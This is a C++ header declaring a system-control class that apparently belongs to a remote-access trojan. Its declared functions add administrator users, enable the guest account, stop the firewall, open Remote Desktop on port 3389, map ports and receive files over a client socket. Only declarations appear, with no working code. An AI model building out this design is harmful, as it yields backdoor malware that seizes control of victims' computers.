// SysInfo.h: interface for the CSysInfo class. // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_SYSINFO_H__F258B531_B1EF_4700_8AE7_4545927A5EA8__INCLUDED_) #define AFX_SYSINFO_H__F258B531_B1EF_4700_8AE7_4545927A5EA8__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include "../Manager.h" #include "ZXPortMap.h" class CSysInfo : public CManager { public: void OnReceive(LPBYTE lpBuffer, UINT nSize); DWORD ChangePort(LPVOID lparam); DWORD StopFire(); void AddAdminUser(); void DeleteUser(); BOOL OpenGuest(); void ChangeUserPass(); BOOL DelUserName(char *user); BOOL DelSidName(char *sid); void Close3389(); DWORD Open3389(LPVOID lparam); CZXPortMap cPortMap; DWORD nCtrlPort, nPort; TCHAR m_strCurrentProcessFileNames[MAX_PATH]; // 当前正在处理的文件 __int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度 void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize); void CreateLocalRecvFile(LPBYTE lpBuffer); void GetFileData(); void GetOpenFile(); static DWORD WINAPI PortMap(LPVOID lparam); void SendSysInfo(); void SendInstallInfo(); LPBYTE getWtsmList(); LPBYTE getSList(); LPBYTE getMeritListo(); void SendWtsmList(); void SendSList(); char* GetTSClientName(DWORD sessionID); char* GetTSClientProtocolType(DWORD sessionID); void GetSystemInfo(tagSystemInfo1* pSysInfo); void GetOnlineInfo(tagOnlineInfo* pInsInfo); void WtsLoGoff(LPBYTE lpBuffer, UINT nSize); void WtsDisc(LPBYTE lpBuffer, UINT nSize); void SendNetstart(LPBYTE lpBuffer, UINT nSize , UINT User_kt); //帐户启用 停止 // CSysInfo(CClientSocket *pClient); CSysInfo(CClientSocket *pClient,UINT Ports,UCHAR Linetypes,UCHAR Opertypes,CHAR *Addressl); virtual ~CSysInfo(); void SendMeritListo(); //功能状态 void SendMeritart(LPBYTE lpBuffer, UINT nSize , UINT User_kt); //功能启用/禁用 private: UINT NetPort; //连接端口 UCHAR NetLine; //连接方式 UCHAR NetOpert; //运行类型 CHAR *Linkaddress; //连接地址 }; #endif // !defined(AFX_SYSINFO_H__F258B531_B1EF_4700_8AE7_4545927A5EA8__INCLUDED_)